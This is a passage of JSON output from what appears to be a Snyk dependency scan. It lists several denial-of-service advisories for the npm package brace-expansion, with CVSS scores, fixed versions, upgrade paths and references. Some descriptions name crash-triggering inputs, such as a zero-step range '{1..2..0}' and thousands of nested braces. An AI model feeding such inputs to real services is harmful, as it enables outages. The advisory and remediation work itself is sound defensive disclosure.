"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
